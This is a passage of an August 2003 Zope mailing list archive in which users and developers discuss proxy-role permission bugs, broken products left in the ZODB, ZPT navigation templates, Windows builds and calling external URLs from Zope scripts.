> Me too! We've seen problems with the security settings after syncs. I > > > suspect that the security settings transfer but the proxy settings > > > don't--but that's a guess based on anecdotal evidence. > > > > It definitely is wrong. > > > > Import/Export uses the same serializing mechanism as the ZODB > > itself (pickling). > > > > In all these cases, all attributes with the exception > > of those prefixed with "_p_" or "_v_" are pickled. > > Security settings (on instances) are implemented as > > instance attributes starting with "_" but not "_p_" or > > "_v_". Dieter From dieter at handshake.de Thu Aug 28 22:13:45 2003 From: dieter at handshake.de (Dieter Maurer) Date: Thu Aug 28 15:33:56 2003 Subject: [Zope] Re: No module named GenericUserFolder In-Reply-To: References: <16189.12840.100595.203742@gargle.gargle.HOWL> Message-ID: <16206.21609.939200.171401@gargle.gargle.HOWL> Andreas Tille wrote at 2003-8-28 08:02 +0200: > On Fri, 15 Aug 2003, Dieter Maurer wrote: > > > Fine. It may mean however, that you have to live with your problem... > While I can cope perfectly with something which is no real problem > for me I have to admit that this answer diverges slightly what I observed > in the past at this list in special and other Free Software related > lists in common. There is a limit on the amount of support you can expect.... > I just try to gather information for a reasonable bug report which gives > developers as much as possible relevant information. > > > One of your ZODB objects references "GenericUserFolder" and > > you have it not longer installed ... > I think I have understand this and in my opinion it is a bug of Zope of > the previous existance and later removal of any random product (while I > do not realy know if "any random" is correct) leads to a situation that > not obviousely related parts of Zope break functionality. I have told you the fix for this bug in an earlier message. You did not want to accept it... I cannot do more for you. > Please note: *I* can cope with *this* situation but I feel obliged to other > users and developers to not to hide the knowledge. In fact, this same problem came up already in the mailing list. The poster then followed my advice and quickly could use his advanced tab again. He may have posted a bug report. I am sure, I suggested it to him. But, probably, you did not check the collector? > > You can use a debugger (--> see mailing list archives and HowTos) > > to analyse the object causing the exception. You should be able to find its > > class (I expect a ZClass) and its "_p_oid". > Do you have any more explicite hint regarding debugging techniques? > I just found to start Zope with -D option but I did not recognized any > more explicite logs or error messages. I *never* search the archives or Zope.org for others. This is not my problem; it is yours! Dieter From dieter at handshake.de Thu Aug 28 21:50:06 2003 From: dieter at handshake.de (Dieter Maurer) Date: Thu Aug 28 15:35:12 2003 Subject: [Zope] manage_clone problem, python script solution required please In-Reply-To: References: Message-ID: <16206.20190.726049.766030@gargle.gargle.HOWL> Webmaster Expert RH wrote at 2003-8-27 12:17 +0200: > ... > It works perfectly well for me when I'm logged in as manager, but my users > get an error (prompted for password again) > > In the zope log I get : > Module OFS.CopySupport, line 268, in manage_clone > Module OFS.CopySupport, line 349, in _verifyObjectPaste > Unauthorized: > > It seems (thank you Dieter) that this is a know bug It only gets a bug when your script has proxy roles which would allow it to create the new object in the target. The bug is: proxy roles are not considered in the authorization check. > In searching the archives I found a solution with external method. > Unfortunately, my configuration doesn't allow me to use those easily. I must > find a workaround in python_script only. You may be able to relax the object creation permissions in the target folder (that would be the easiest solution). If this is not an option, then you may clone the object yourself: create a new instance and transfer all relevant data. Of course, this is highly type specific. It is feasible only for a small number of relative easy types. You will need to give your script a proxy role such that it is able to create the objects in the target. > Of course I have set the proxy role of the script to 'Manager' Then, it is the well known bug... Dieter From dieter at handshake.de Thu Aug 28 21:27:57 2003 From: dieter at handshake.de (Dieter Maurer) Date: Thu Aug 28 15:35:56 2003 Subject: [Zope] Re: NisUserFolder In-Reply-To: <200308280740.36952.garry@joydiv.fsnet.co.uk> References: <200308261645.44923.garry@joydiv.fsnet.co.uk> <16205.885.97430.399008@gargle.gargle.HOWL> <200308280740.36952.garry@joydiv.fsnet.co.uk> Message-ID: <16206.18861.528518.575745@gargle.gargle.HOWL> garry saddington wrote at 2003-8-28 07:40 +0100: > ... > >Thanks, i have got the traceback but unfortunately i am not able to interpret > it, can anyone help me please? Wow! This traceback is so strange that not even I understand what happens :-) I explain a bit the relevant parts of the traceback, such that you can interpret them better in the future: > Module Products.CMFCore.FSPythonScript, line 124, in _exec > - __traceback_info__: ({'script': , > 'context': , 'container': at 8f99a20>, 'traverse_subpath': []}, (), {}, None) The first interesting piece (everything before was basic framework): Here "FSPythonScript" "test/logged_in" was called with "context" and "container" both your Plone site. > Module Script (Python), line 25, in logged_in The problem happens in line 25 of this python script. > .... > Module Products.CMFCore.FSPageTemplate, line 167, in _exec It calls an "FSPageTemplate"... > ... > Module Products.PageTemplates.PageTemplate, line 95, in pt_render > - This is the "FSPageTemplate" "/test/login_success". > ... > Module Products.PageTemplates.TALES, line 217, in evaluate > - Line 35, Column 12 The problem happens in line 35... > - Expression: here.ZopeTime('2000/01/01') and here.validate_email)> while evaluating "python: not(member.login_time == here.ZopeTime('2000/01/01') and here.validate_email"... > - Names: > {'container': , > 'default': 0x86c10ac>, > 'here': , > ... > 'request': , The request has been for "http://zope/test/logged_in". > ... > 'template': , This tells you again that we are in "FSPageTemplate at /test/login_success". > ... > 'user': try} This tells you that the user "try" was successfully authenticated. > - __traceback_info__: not(member.login_time == here.ZopeTime('2000/01/01') > and here.validate_email) > Module Python expression "not(member.login_time == > here.ZopeTime('2000/01/01') and here.validate_email)", line 2, in f > AttributeError: ZopeTime This tells you that an attribute lookup for "ZopeTime" failed in the above Python expression. There is just one such occurrence "here.ZopeTime". I know that "ZopeTime" is a method of Zope's root object, obtained via acquisition. When "here" is not able to acquire it, then it means, the root is not in "here"s acquisition context. This is *very* strange. Check "/test/login_success" whether someone has redefined "here". The redefinition might also be in some macro used by this template. But, as it is not very likely that someone redefines "here", you may also see some deep bug. By the way: you seem to get different exceptions: 'global name "time" is not defined' in your last message and now 'AttributeError "ZopeTime"' When you see random non-deterministic errors, this may indicate that some C level extension corrupts memory (usually reuses objects which still are in use). In this case, objects can suddenly change identity and value and class. Almost everything is possible. I saw such behaviour with Python 2.1.x with "x < 3". Then, Python itself was the bad "C" level "extension". Dieter From dieter at handshake.de Thu Aug 28 21:55:45 2003 From: dieter at handshake.de (Dieter Maurer) Date: Thu Aug 28 15:37:38 2003 Subject: [Zope] [Newbie] Source configuration management with zope In-Reply-To: <3F4CF713.9090804@free.fr> References: <3F4CF713.9090804@free.fr> Message-ID: <16206.20529.576378.431891@gargle.gargle.HOWL> G?rard Oogle wrote at 2003-8-27 11:23 -0700: > ... > To put it in a nutschell, I guess I am wondering how logic and data can > be separated in Zope. > I guess also that I am not the first dinosaur the zope community is > welcoming. > I would be grateful if someone could: > > * either shoot me a couple of links explaining how to do that > * or help me refactor my views on the world (and I guess that a > couple of links would do it also). We use CMF (or Plone). Logic is in the file system (via "FSDirectoryView"), manage and distributed via CVS. Content is in the ZODB. Configuration, too, is (mostly) in the ZODB. It is synchronized from development to QA to Production via "ZSyncer". There remain a few edges cases: Some objects do not allow to separate configuration from content. The indexes in the catalog are the prime example. We have to update them by hand in the QA and Production instances. The ZSyncer author is working on an extension to handle such cases as well. Dieter From nicolas.laurance at wanadoo.fr Thu Aug 28 22:44:22 2003 From: nicolas.laurance at wanadoo.fr (Nicolas LAURANCE) Date: Thu Aug 28 15:43:37 2003 Subject: [Zope] manage_clone problem, python script solution In-Reply-To: <16206.20190.726049.766030@gargle.gargle.HOWL> Message-ID: <000701c36d9c$c9540b80$0a00000a@Giga> -----Message d'origine----- De : Dieter Maurer [mailto:dieter@handshake.de] Envoye : jeudi 28 aout 2003 20:50 A : Webmaster Expert RH Cc : zope@zope.org Objet : Re: [Zope] manage_clone problem, python script solution required please Webmaster Expert RH wrote at 2003-8-27 12:17 +0200: > ... > It works perfectly well for me when I'm logged in as manager, but my users > get an error (prompted for password again) > > In the zope log I get : > Module OFS.CopySupport, line 268, in manage_clone > Module OFS.CopySupport, line 349, in _verifyObjectPaste > Unauthorized: > > It seems (thank you Dieter) that this is a know bug It only gets a bug when your script has proxy roles which would allow it to create the new object in the target. The bug is: proxy roles are not considered in the authorization check. alas, is there a bug tracking report for this ? > In searching the archives I found a solution with external method. > Unfortunately, my configuration doesn't allow me to use those easily. I must > find a workaround in python_script only. You may be able to relax the object creation permissions in the target folder (that would be the easiest solution). If this is not an option, then you may clone the object yourself: create a new instance and transfer all relevant data. Of course, this is highly type specific. It is feasible only for a small number of relative easy types. You will need to give your script a proxy role such that it is able to create the objects in the target. I haven't build a specific permission for my first full python product :( As I don't have an easy access to my production code , I went for this solution. > Of course I have set the proxy role of the script to 'Manager' danke schon once again Dieter :) From zope at lists.thewrittenword.com Thu Aug 28 16:14:02 2003 From: zope at lists.thewrittenword.com (Albert Chin) Date: Thu Aug 28 16:14:07 2003 Subject: [Zope] ZPT help In-Reply-To: <20030828155141.GE4592@slinkp.com> References: <20030828141453.GE17779@spuckler.il.thewrittenword.com> <20030828155141.GE4592@slinkp.com> Message-ID: <20030828201402.GA72324@spuckler.il.thewrittenword.com> On Thu, Aug 28, 2003 at 11:51:41AM -0400, Paul Winkler wrote: > On Thu, Aug 28, 2003 at 09:14:53AM -0500, Albert Chin wrote: > > Basic tree structure is: > > www.foo.com/ > > www.foo.com/company-info/ > > www.foo.com/company-info/contact > > www.foo.com/company-info/history > > www.foo.com/products/ > > www.foo.com/products/product-1 > > www.foo.com/products/product-2 > > www.foo.com/products/product-3 > > www.foo.com/projects/project-1 > > www.foo.com/projects/project-2 > > www.foo.com/projects/project-3 > > > > The "contact" and "history" links appear to the right on the > > "company-info" page. The "product-1", "product-2", and "product-3" > > links appear to the right on the "products" page, etc. > > > > The "company-info", "products", and "projects" links would appear > > across the top. > > > > Is it possible to have one ZPT template which provides dynamic content > > based on the URL? > > Normally this is done by using acquisition. There's a lot of variants, > but my favorite ways to solve this kind of problem are > > ... > > B) use a one-folder-per-page paradigm. This is quite flexible, simple, > and should be easy to teach to a content administrator. > > So, assuming the latter, in your root folder, you set up an index_html > template that looks a bit like this (simplified): > > >
> >
> >
> The actual page content will be rendered here >
> >
> This will be replaced with the right nav macro which you > can override per folder. >
> > > > Now, create your products and company-info folders. > In each folder, create a document (can be a ZPT, a DTML > method, or any other suitable object) called "content". > This will be the content that gets placed in the middle of the > index_html in each folder. > > Now create the right nav for the products/ folder. > To do this, just create a ZPT called products/right_nav. > It should look something like: > > > > >
> Product 1 > ... >
> > > > > Do the same in the company-info folder. > You'll need a default right_nav in the root folder, too. > > Presto, your framework is done. Now you can create the individual > leaf pages. To do so, simply: > > 1) create a folder, e.g. products/product-1 > 2) in this folder, create an object named "content" > > ... Thanks. I followed this set up and things are looking good! -- albert chin (china@thewrittenword.com) From andy at agmweb.ca Thu Aug 28 15:01:36 2003 From: andy at agmweb.ca (Andy McKay) Date: Thu Aug 28 17:03:41 2003 Subject: [Zope] Zope 2.7.0b1 on Windows In-Reply-To: References: Message-ID: <3F4E6DB0.4060800@agmweb.ca> >>>envvars). Neither works anymore. Installation is either via rpm, >>>executable, or via "configure; make; make install". >> >>What's the equivalent of this for Windows? Using cygwin and visual studio configure; make; make install works just fine :) Or using setup.py will get most of the important stuff done. -- Andy McKay http://www.agmweb.ca From chrism at zope.com Thu Aug 28 22:15:56 2003 From: chrism at zope.com (Chris McDonough) Date: Thu Aug 28 17:15:59 2003 Subject: [Zope] Zope 2.7.0b1 on Windows In-Reply-To: <3F4E6DB0.4060800@agmweb.ca> References: <3F4E6DB0.4060800@agmweb.ca> Message-ID: <1062105222.1837.14.camel@james> See Packages/WinBuilders in CVS as well. On Thu, 2003-08-28 at 17:01, Andy McKay wrote: > >>>envvars). Neither works anymore. Installation is either via rpm, > >>>executable, or via "configure; make; make install". > >> > >>What's the equivalent of this for Windows? > > Using cygwin and visual studio > > configure; make; make install > > works just fine :) Or using setup.py will get most of the important > stuff done. -- Chris McDonough Zope Corporation From jccooper at jcameroncooper.com Thu Aug 28 19:16:35 2003 From: jccooper at jcameroncooper.com (J Cameron Cooper) Date: Thu Aug 28 19:16:41 2003 Subject: [Zope] A login page In-Reply-To: <05256D8F.0067F710.00@bquilla.lattice.com.co> References: <05256D8F.0067F710.00@bquilla.lattice.com.co> Message-ID: <3F4E8D53.9050804@jcameroncooper.com> >I'm a newbie in this excellent package and I need some help. I'm trying to >do a simple login page (username and password text fields and a button) >that enable or disable the navigation into a Zope project. This mean that >if you didn't login you can't be able to surf the project. This sound easy >to do but I can't do it :-( > You have two things to do: form-based login and restricting your site to authenticated users. Fortunately, both are pretty easy. Form-based login requires something other than the default Zope methods. CookieCutter, as previously suggested, is a good choice. Allowing view access only to authenticated users means a quick trip to the "Security" tab at the most basic level you want to secure: the children of that object will inherit these settings unless told otherwise. Just remove the "Anonymous" role from the permission that allows viewing of content. This is, unless elsewhere changed, "View". Do this and you have to be logged in to see the content (presuming some other role has the permission). You may even want to further restrict the Anonymous role. --jcc From jccooper at jcameroncooper.com Thu Aug 28 19:36:34 2003 From: jccooper at jcameroncooper.com (J Cameron Cooper) Date: Thu Aug 28 19:36:40 2003 Subject: [Zope] zpublisher instance In-Reply-To: References: <3F4BF0EA.9050901@jcameroncooper.com> Message-ID: <3F4E9202.7000308@jcameroncooper.com> >>>How do I reference a ZPublisher.HTTPRequest.FileUpload instance? >>> >>> >>Don't overthink it. It's just like you'd access any request parameter, >>save that it's a Python file-ish object. >> >Thanks for the info. My file-ish object wasn't coming from a form, so I >didn't have a parameter in the request object to reference. The data (xml) >are coming from a pdf form submit. I know it's in there because the >content-type is correct and the content-length look right. But without the >parameter handle, I didn't know how to get it. This could be a problem >with the way Adobe does the submit I suppose. > > I'm not sure I understand: I've never done anything with PDF besides read. If it sends a real HTTP request, you should be able to use it. You can find out the request parameter if you don't know it. Simply print the REQUEST object. (You can also use 'REQUEST.text()'.) Wow, that's a lot of punctuation. If it's doing something strange, and doesn't end up in the form, maybe it's in 'REQUEST.other". In any case, you should be able to introspect it, at the very least by submitting to something that will log the contents of the request as above. You can also watch the conversation with various network tools. There's one that's a favorite on this list, but I forget the name. --jcc From jccooper at jcameroncooper.com Thu Aug 28 19:55:42 2003 From: jccooper at jcameroncooper.com (J Cameron Cooper) Date: Thu Aug 28 19:55:48 2003 Subject: [Zope] Scripting ExternalFile In-Reply-To: <3F4DDD38.7080800@optushome.com.au> References: <3F4DDD38.7080800@optushome.com.au> Message-ID: <3F4E967E.407@jcameroncooper.com> > I've got a script that generates HTML content on a regular basis, and > I want to be able to make it visible via Zope. The ExternalFile > product is just about perfect, except that I want to be able to script > the "inclusion" of files into the Zope infrastructure rather than go > ExternalFile's GUI each time. > > I can't just leave the HTML content out in the file system; I need to > be able to manage access using Zope's security system. > > Has anyone got any pointers on how to do this, or even point me in the > right direction? Dieter already told you how to find the appropriate methods. Depending on how you do your generating, you can call them from your script by any of several methods. 1) HTTP request. Just like a web browser, but automated. Fabricate a request and send it. Python's 'urllib2' will do nicely, as may curl or wget. Most other languages have similar facilities. 2) The 'Zope.App' method. Search the lists. 3) XML-RPC, which you can get at in most languages. Probably other ways (ZEO, anybody?), but these are most obvious to me. You may also want to look at LocalFS, which may be the easiest way of doing it, provided you can live with the names in Zope being the same as on the FS. --jcc From jccooper at jcameroncooper.com Thu Aug 28 20:11:00 2003 From: jccooper at jcameroncooper.com (J Cameron Cooper) Date: Thu Aug 28 20:11:40 2003 Subject: [Zope] Redirect without displaying page In-Reply-To: <004b01c36d7a$49a1bd00$6300000a@penfold> References: <004b01c36d7a$49a1bd00$6300000a@penfold> Message-ID: <3F4E9A14.2050608@jcameroncooper.com> >I am trying to integrate our systems with an external email list company. >They provide a URL with various arguments relating to email address, first >name, last name etc. > >I need to be able to call (from a python script) the external URL with >arguments as if it were a function. I do not want to display the results of >the call, other than to validate that the call succeeded. How do I go about >achieving this? Is there a python method for doing this? > > What I would do: 1. Create an external method that takes as arguments the parameters you want to use in constructing your URL. 2. Do so. 3. Use urllib, urllib2, or call wget or curl to visit that URL. Best bet is urllib2, I think. 4. If it gives you a reasonable status code, return whatever value makes sense for success. Otherwise, do opposite. You can then call this External Method from anywhere in Zope, and nothing will care what is going on behind-the-scenes. --jcc From jccooper at jcameroncooper.com Thu Aug 28 20:26:07 2003 From: jccooper at jcameroncooper.com (J Cameron Cooper) Date: Thu Aug 28 20:26:18 2003 Subject: [Zope] Webdav to another server In-Reply-To: <0951584E7226D411963800D0B73E5B42014BFD8B@GDMXS050> References: <0951584E7226D411963800D0B73E5B42014BFD8B@GDMXS050> Message-ID: <3F4E9D9F.8010809@jcameroncooper.com> > I am in a situation where I need to access (read) files on a webdav > server from my Zope application. There's a lot written about > accessing Zope with Webdav but I can't find anything useful about > using Zope to access other webdav servers (except for a mention about > webdav/client.py - but it's not obvious!). In particular, the > webdav/web folder server is Win2000/IIS 5.0 and Zope is installed on a > Linux box. Can anyone give me some hints on the best approach? > http://www.lyra.org/greg/python/ Look for dav-lib. With this, you can do WebDAV things from an External Method. As for a more elegant solution, I don't know of any WebDAV client products, but maybe you can "mount" an external WebDAV source in your Zope with DavFS and LocalFS. A straight-up product to do this would be a neat project. http://zope.org/Members/vernier/Debian/DavFS/view --jcc From jccooper at jcameroncooper.com Thu Aug 28 20:31:06 2003 From: jccooper at jcameroncooper.com (J Cameron Cooper) Date: Thu Aug 28 20:31:11 2003 Subject: [Zope] Need Functionality of Zope Book In-Reply-To: <6F7AD2AD5765D3118A7A00902787302127C24251@na1fcm06.dearborn.ford.com> References: <6F7AD2AD5765D3118A7A00902787302127C24251@na1fcm06.dearborn.ford.com> Message-ID: <3F4E9ECA.4040605@jcameroncooper.com> >Has anybody ever gotten the CMF wrapper part to work? I tried for quite a >while and just couldn't get it to function right. I looked up everything I >could on the web about it but just couldn't get it going. > >It is really unfortunate. This was *EXACTLY* what I needed (and continue to >need), but I'm just not expert enough in Zope/CMF (yet?) to be able to get >this working. > > The folks over at plone.org seem to have it running. It's used for all the doco, and I'm sure it's CMF (by way of Plone.) Don't ask me how, though. You could always go straight for the author, too. --jcc From SKelley at ci.santa-rosa.ca.us Thu Aug 28 17:38:17 2003 From: SKelley at ci.santa-rosa.ca.us (Kelley, Sean) Date: Fri Aug 29 01:18:35 2003 Subject: [Zope] CMFPhoto/Windows/ImageMagick Message-ID: <6149A13D3D37D4119A1600D0B708ABD309DB207C@mail.ci.santa-rosa.ca.us> Hi, I have installed Zope 2.6.1, CMF 1.4, Plone 1.0.3 and CMF Photo and Photo Album along with the windows version of ImageMagick (ImageMagick-5.5.7-Q8-windows-dll.exe) I can only see original size images. I tested ImageMagick with the command line options and it is installed correctly. How does CMF/Zope know its there? I also restarted Zope. Sean From dieter at handshake.de Thu Aug 28 22:49:47 2003 From: dieter at handshake.de (Dieter Maurer) Date: Fri Aug 29 03:30:09 2003 Subject: [Zope] Redirect without displaying page In-Reply-To: <004b01c36d7a$49a1bd00$6300000a@penfold> References: <004b01c36d7a$49a1bd00$6300000a@penfold> Message-ID: <16206.23771.337105.611176@gargle.gargle.HOWL> Jack Hughes wrote at 2003-8-28 16:37 +0100: > I am trying to integrate our systems with an external email list company. > They provide a URL with various arguments relating to email address, first > name, last name etc. > > I need to be able to call (from a python script) the external URL with > arguments as if it were a function. I do not want to display the results of > the call, other than to validate that the call succeeded. How do I go about > achieving this? Is there a python method for doing this? Look at Python's "urllib". You must use it in an External Method or allow importing and using the module for Python Scripts (--> PythonScripts/README.txt). Dieter From chrisw at nipltd.com Fri Aug 29 11:32:40 2003 From: chrisw at nipltd.com (Chris Withers) Date: Fri Aug 29 05:32:52 2003 Subject: [Zope] Re: No module named GenericUserFolder In-Reply-To: References: Message-ID: <3F4F1DB8.6010100@nipltd.com> Andreas Tille wrote: > > Well, if you would have followed the thread I think the better comparison > would be: If I put a suitcase into a car and remove the suitcase after I > reached the place I wanted it to be transported I would expect the car to > be working as before. :-P Depends how much the suitcase weighed and whether it had big shiny spikes on the outside... > Hmmm, I never did I just installed the GenericUserFolder package ages ago > installed it after some tests. Now some functionality of Zope is broken > if as the suitcase removal would have taken one wheel ... Interesting, I knew GUF was crufty, but I didn't know it could do that kind of damage... Chris From chrisw at nipltd.com Fri Aug 29 12:50:40 2003 From: chrisw at nipltd.com (Chris Withers) Date: Fri Aug 29 06:50:53 2003 Subject: [Zope] Changing password in acl_users doesn't work In-Reply-To: <1062098956.1838.12.camel@james> References: <8B7573C4677F7F42B0E4AC353EC54C2850DB2C@kmexch02.KM.KOBIELOYALTY> <3F4E5A99.6050200@kaivo.com> <1062098956.1838.12.camel@james> Message-ID: <3F4F3000.1040509@nipltd.com> Chris McDonough wrote: > Aha! Nice detective work. ;-) > > On Thu, 2003-08-28 at 15:40, Mark Gibson wrote: > >>Looks like there's a patched User.py available. >> >>http://collector.zope.org/Zope/835 So, the bug says this is fixed in CVS. Can someone check this is actually fixed on the HEAD, 2.6 branch (hopefully for 2.6.2) and for whatever is the current bit that Zope 2.7.x is using? cheers, Chris From chrisw at nipltd.com Fri Aug 29 12:54:40 2003 From: chrisw at nipltd.com (Chris Withers) Date: Fri Aug 29 06:54:58 2003 Subject: [Zope] Can't build resource file for PCGI on Zope 2.7b1 In-Reply-To: <6F7AD2AD5765D3118A7A00902787302127C24252@na1fcm06.dearborn.ford.com> References: <6F7AD2AD5765D3118A7A00902787302127C24252@na1fcm06.dearborn.ford.com> Message-ID: <3F4F30F0.40408@nipltd.com> Tiller, Michael (M.M.) wrote: > Why do I want to do it this way? Well, if I open a port on localhost then any user of the server can access that port. With the named pipe, I can control the permissions on the port. You have people other than sys admin logging into and using the machine that's the live webserver for your corporate intranet? And your corporate security guidlines don't say anything about that? That's pretty suprising... Chris From chrisw at nipltd.com Fri Aug 29 13:11:42 2003 From: chrisw at nipltd.com (Chris Withers) Date: Fri Aug 29 07:11:51 2003 Subject: [Zope] Zope 2.7.0b1 on Windows In-Reply-To: <1062105222.1837.14.camel@james> References: <3F4E6DB0.4060800@agmweb.ca> <1062105222.1837.14.camel@james> Message-ID: <3F4F34EE.40800@nipltd.com> Chris McDonough wrote: > See Packages/WinBuilders in CVS as well. > > On Thu, 2003-08-28 at 17:01, Andy McKay wrote: > >>>>>envvars). Neither works anymore. Installation is either via rpm, >>>>>executable, or via "configure; make; make install". >>>> >>>>What's the equivalent of this for Windows? >> >>Using cygwin and visual studio >> >>configure; make; make install >> >>works just fine :) Or using setup.py will get most of the important >>stuff done. Hmmm... I'm mainly looking at this from the autotester point of view. I was trying: configure make make install ...on Windows, but was getting these problems: http://mail.zope.org/pipermail/zope-coders/2003-July/003905.html Chris said that what you suggested was 'wrong', but that's maybe because I'm not using cygwin: http://mail.zope.org/pipermail/zope-coders/2003-July/003909.html I'm currently using: python setup.py build_ext -i Is this the right thing to do? What should I be doing? cheers, Chris From betheredge at mesa-grp.com Fri Aug 29 07:19:17 2003 From: betheredge at mesa-grp.com (Bill Etheredge) Date: Fri Aug 29 07:22:29 2003 Subject: [Zope] Zope Start Up Message-ID: <49E9443D25AD8647BF4BAEEF2DDB0AF702E8A0@mesatx21.mesa-grp.com> Thanks, George. We had success when we ran Zope start-up with PCGI disabled (-p -). Apparently the hosting provider does not allow CGI scripting without special dispensation (?). Bill -----Original Message----- From: george donnelly [mailto:list@zettai.net] Sent: Monday, August 25, 2003 5:26 PM To: Bill Etheredge; zope@zope.org Subject: Re: [Zope] Zope Start Up [Bill Etheredge wrote (betheredge@mesa-grp.com) on 8/25/03 3:41 PM] > Can anyone point us in the direction to fix this? do you have a lot of free RAM on that machine? btw its not recommended to run zope as pcgi. you'll do better with rewrite rules. <--> george donnelly ~ http://www.zettai.net/ ~ "Quality Zope Hosting" Shared and Dedicated Zope Hosting ~ Zope Servers ~ Zope Websites Yahoo, AIM: zettainet ~ MSN: zettainet@hotmail.com ~ ICQ: 51907738 From betheredge at mesa-grp.com Fri Aug 29 07:28:51 2003 From: betheredge at mesa-grp.com (Bill Etheredge) Date: Fri Aug 29 07:29:26 2003 Subject: [Zope] Rendering Dynamic Content Message-ID: <49E9443D25AD8647BF4BAEEF2DDB0AF703EF27@mesatx21.mesa-grp.com> I am pretty novice at Zope and have a site in development (close to completion) that I have hit a roadblock on. I am sure this is simple but I have not been able to get around it. I am using ZPT and folders to define pages (for dynamic navigation). Each page-defining folder contains a 'Content' folder with content objects that are rendered in macro-defined slots. I only have a couple index_html page templates that are used for the entire site. This is all working well. However, I am having trouble rendering dynamic content using this architecture. For instance, displaying the results of the Search function on the site needs to use my standard page template. Also, I have a couple ZClass objects defined that I am using on the site that I can list without a problem, but I need to be able to display the ZClass instance 'content' when a visitor clicks on its displayed title. It renders but I need guidance getting it to render in my ZPT 'content' slot. Could someone provide some guidance / hints or give me a link to a 'how to'? Thanks, Bill Etheredge The Mesa Group -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.zope.org/pipermail/zope/attachments/20030829/f42e50c7/attachment-0001.htm From chrisw at nipltd.com Fri Aug 29 15:55:35 2003 From: chrisw at nipltd.com (Chris Withers) Date: Fri Aug 29 09:55:53 2003 Subject: [Zope] Re: problems with news item properties In-Reply-To: <20030828094620.GA20459@diamond.madduck.net> References: <20030826183405.GA8782@diamond.madduck.net> <3F4DCCBF.6070103@nipltd.com> <20030828094620.GA20459@diamond.madduck.net> Message-ID: <3F4F5B57.7090808@nipltd.com> martin f krafft wrote: > also sprach Chris Withers [2003.08.28.1134 +0200]: > >>Why do you look in the REQUEST for something called 'news' first? > > I don't know, Plone does it that way. Interesting ;-) If you change your code to the following, what gets output:



cheers, Chris From chrism at zopemafia.com Fri Aug 29 14:55:56 2003 From: chrism at zopemafia.com (Chris McDonough) Date: Fri Aug 29 09:57:27 2003 Subject: [Zope] Changing password in acl_users doesn't work In-Reply-To: <3F4F3000.1040509@nipltd.com> References: <8B7573C4677F7F42B0E4AC353EC54C2850DB2C@kmexch02.KM.KOBIELOYALTY> <3F4E5A99.6050200@kaivo.com> <1062098956.1838.12.camel@james> <3F4F3000.1040509@nipltd.com> Message-ID: <1062165498.3117.37.camel@athlon.dc.dc.cox.net> How about you? On Fri, 2003-08-29 at 06:50, Chris Withers wrote: > Chris McDonough wrote: > > > Aha! Nice detective work. ;-) > > > > On Thu, 2003-08-28 at 15:40, Mark Gibson wrote: > > > >>Looks like there's a patched User.py available. > >> > >>http://collector.zope.org/Zope/835 > > So, the bug says this is fixed in CVS. > > Can someone check this is actually fixed on the HEAD, 2.6 branch (hopefully for > 2.6.2) and for whatever is the current bit that Zope 2.7.x is using? > > cheers, > > Chris From chrisw at nipltd.com Fri Aug 29 15:59:27 2003 From: chrisw at nipltd.com (Chris Withers) Date: Fri Aug 29 09:59:37 2003 Subject: [Zope] Charset HTTP header switched to UTF-8. Bug or feature ? In-Reply-To: <1a8201c36d54$c244e000$0301a8c0@provence> References: <161001c36cb4$8579f020$0301a8c0@provence> <3F4DD494.5060203@nipltd.com> <1a8201c36d54$c244e000$0301a8c0@provence> Message-ID: <3F4F5C3F.2010206@nipltd.com> Gilles Lenfant wrote: >>>>import sys >>>>sys.getdefaultencoding() > > iso-8859-1 Shouldn't that be ASCII? > And my system locales are set to that charset too. > If it's a feature, is there some place where we can stand what charset > should be used for publishing objects behind such or such folder. > After further tests, I noticed this on DTML as well as ZPT templates. Like i said, you'd have to ask someone who knows. Submitting a collector issue is about the best I can offer, sorry :-S Chris From chrisw at nipltd.com Fri Aug 29 16:05:43 2003 From: chrisw at nipltd.com (Chris Withers) Date: Fri Aug 29 10:05:51 2003 Subject: [Zope] Scripting ExternalFile In-Reply-To: <3F4DDD38.7080800@optushome.com.au> References: <3F4DDD38.7080800@optushome.com.au> Message-ID: <3F4F5DB7.7080101@nipltd.com> Hi David, David Mitchell wrote: > I've got a script that generates HTML content on a regular basis, and I > want to be able to make it visible via Zope. I'd have this script, or another, pump the generated HTML into the ZODB as normal Zope file objects... > I can't just leave the HTML content out in the file system; I need to be > able to manage access using Zope's security system. Makes this _much_ easier... cheers, Chris PS: DOn't worry about Data.fs bloat, that's what packign was invented for ;-) From chrism at zope.com Fri Aug 29 15:06:46 2003 From: chrism at zope.com (Chris McDonough) Date: Fri Aug 29 10:06:48 2003 Subject: [Zope] Zope 2.7.0b1 on Windows In-Reply-To: <3F4F34EE.40800@nipltd.com> References: <3F4E6DB0.4060800@agmweb.ca> <1062105222.1837.14.camel@james> <3F4F34EE.40800@nipltd.com> Message-ID: <1062166144.3120.44.camel@athlon.dc.dc.cox.net> Is what you're doing working? If so, keep doing it. If not, do what I suggested in my resposne to your original email. python.exe "%SRC_DIR%\inst\configure.py" --prefix="%TARGET_DIR%" nmake build nmake install - C On Fri, 2003-08-29 at 07:11, Chris Withers wrote: > Chris McDonough wrote: > > > See Packages/WinBuilders in CVS as well. > > > > On Thu, 2003-08-28 at 17:01, Andy McKay wrote: > > > >>>>>envvars). Neither works anymore. Installation is either via rpm, > >>>>>executable, or via "configure; make; make install". > >>>> > >>>>What's the equivalent of this for Windows? > >> > >>Using cygwin and visual studio > >> > >>configure; make; make install > >> > >>works just fine :) Or using setup.py will get most of the important > >>stuff done. > > Hmmm... I'm mainly looking at this from the autotester point of view. > > I was trying: > > configure > make > make install > > ...on Windows, but was getting these problems: > http://mail.zope.org/pipermail/zope-coders/2003-July/003905.html > > Chris said that what you suggested was 'wrong', but that's maybe because I'm not > using cygwin: > http://mail.zope.org/pipermail/zope-coders/2003-July/003909.html > > I'm currently using: > > python setup.py build_ext -i > > Is this the right thing to do? What should I be doing? > > cheers, > > Chris > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From mtiller at ford.com Fri Aug 29 11:07:35 2003 From: mtiller at ford.com (Tiller, Michael (M.M.)) Date: Fri Aug 29 10:08:25 2003 Subject: [Zope] Can't build resource file for PCGI on Zope 2.7b1 Message-ID: <6F7AD2AD5765D3118A7A0090278730212A4F6B95@na1fcm06.dearborn.ford.com> > From: Chris Withers [mailto:chrisw@nipltd.com] > Subject: Re: [Zope] Can't build resource file for PCGI on Zope 2.7b1 > > Tiller, 